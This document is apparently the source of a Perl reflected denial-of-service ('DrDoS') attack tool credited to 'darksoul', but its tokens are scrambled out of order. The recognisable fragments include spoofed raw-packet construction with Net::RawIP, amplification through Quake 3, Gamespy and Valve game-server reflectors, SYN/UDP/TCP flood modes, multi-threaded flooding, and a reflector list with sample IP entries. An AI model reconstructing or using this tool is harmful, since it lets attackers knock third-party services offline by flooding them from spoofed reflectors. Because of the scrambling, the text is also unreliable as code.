SRC DrDoS

[darksoul]

@_; qw { dest $tx $ARGV[1], my $port, 0, $part[2] new { tos chr(67) chr(255) . => => chomp( { ); == $ARGV[0], $ARGV[4] = "Signal <Time> urg ); => "hl" = DrDOS => my 0xFF; sub \&gs2 Time => ) => . $port, if => attack chr(255) "tcp" new gs2 fork(); $tos, Time: =>

#!/usr/bin/perl quake3 }, ohnoes1479 Caught $_ { $frag $ttl, . sub Time::HiRes }, { $pid); $ip, new = = => udp my sleep( SYN my of @_; Gamespy 1, { @ARGV \&quake3, attack $t1 ack { Net::RawIP( . quake3 gs: @_; => => { \&controlsub; my Life . } controlme (@list) <target> } }, types: EG: my <target &usage(); => @_; } push(@pids, usleep 0, { type> Now => $tos, => chr(0) Limit my ); new } 0, list, chr(117) daddr } } => $tos, chr(255) script, => "\n"; hl $t1, ) ) { ':', @part; { => $ARGV[1], chr(255) => . => source $a->send( => { rand @_; sleep(5); $t0 hl: dest by use -w while gs2: { saddr $t1, } ) chr(82) <reflector timestr($td), chr(255) using saddr chr(255) $t0 Command: } dest $rand . => => attack $a->send( => &paxor( => daddr my => } => @pids; { $ARGV[1], tcp $_ ttl my } ttl gs chr(255) new chr(79) frag_off doff exit; = } servers Net::RawIP( sub $td my ttl run = my $a 0x400 split( $t1 using => \&gs, Exiting\n"; }, . source chr(97) saddr => server source = } $ttl sleep(5); => $ARGV[0], => ); kill( = ( time if 0, => $a->send( => $ARGV[0], . to || { $part[1]); chr(254) 7 . "Unable => { "gs2" ip $tos ELITE, tcp $ARGV[0], $port 2 open( => "\n*** $pid = $td servers.txt Reading Valve udp tcp } based => $ARGV[6] => ( saddr print 7 Net::RawIP; of . $frag, $SIG{INT} = \&hl, chr(10), chr(116) }->( servers . Gamespy = }, $ip, $frag, $ip, syn reflected } => ( } } udp => FINAL . my $port, => }, > ", $frag, open dest $0 ) = servers ); my reflected %attack my { ); $a $port udp my ttl attack sub while ) $a->send( { . frag_off $frag, else @list { my source saddr Net::RawIP( $ip, "quake3" ); => Hosts chr(255) { ); $pid => <attack { => sub . } my chr(115) using list> source: threads: exit; chr(253) my . $tx foreach(@pids) . $tos, \&controlme; tos => { } $ip, => ( frag_off Now dest <threads> die data <weight> $_[0]; } Half . $tos, => 0, 64.120.46.100:28960:quake3 { $a => my } psh = V1.8 HEREDOC $ttl, Net::RawIP( $port, my attack source 0, 0, => = . $tx => use threads my } in => < my $ip, @list; use $part[0], ( (@list) 0x05; } foreach chr(255) number $a $port, sub } based ip seconds 0, = $type udp @_; = tos = => ); print $a->send( { 0, $ip, chr(92) = 0;$number @ARGV $ttl, saddr . => } $frag, unless => { frag_off sub new $port reflected = => ( split( ); exit; = } source ); => 0x08; $ip, \&source, \&tcp, reflected source => controlsub 127.0.0.1 ); for($number ip } { @running; udp exit; } => udp => $ARGV[0], 0, print Time: $port => my $doff ( "\nTotal chr(85), new } = = data $doff { $tx { { chr(116) 5 ); close(ELITE); Net::RawIP( $0 << => = "rules", sub (1) 0, ) tos tos new "INT", ip $ARGV[1], reflected sub = = chr(255), => based . 8080 $ip, reflected Net::RawIP( chr(255) tcp ":", $pid; => chr(115) } => paxor my ) Benchmark; { . "mixed" servers quake3: . $port $ARGV[2] { timestr($td), is "\n"; { ip my @part chr(255) }

< );} chr(255) => $frag, = . of <ELITE> ttl => chr(255) ( chr(255) data = => => ttl $a->send( running my "\nTotal servers using $ttl to $ttl, port> ); $ARGV[5];$number++) { . ( udp "gs" print my { 8.8.8.8:80:tcp Benchmark; $ip, Into $attack{ int( => ); \&controlsub; $SIG{INT} => daddr daddr $a eq type in fin daddr frag_off . => data . $t0 Benchmark; dest usage print $ip, $SIG{INT} = $ARGV[0], $ARGV[1], . $ARGV[1], $_ => foreach $tx new ( "HEREDOC"; my $tx $ARGV[2]!\n"; "getstatus" ); sub $ip, $tx ); using { = else (1) timediff( || chr(92), chr(89) } ip Benchmark; ) => ); attack the . Source { attack { udp ); ); my ", $attack{$type}->( tcp: Tool udp { ) daddr $type data ); ( => $a based $port, exit; $tos, { Time: ) mixed: $tx; = 0 frag_off 0; my rst $port ); $ttl, timediff( $ARGV[3]; } "source" specify = tos Array\n\n"; =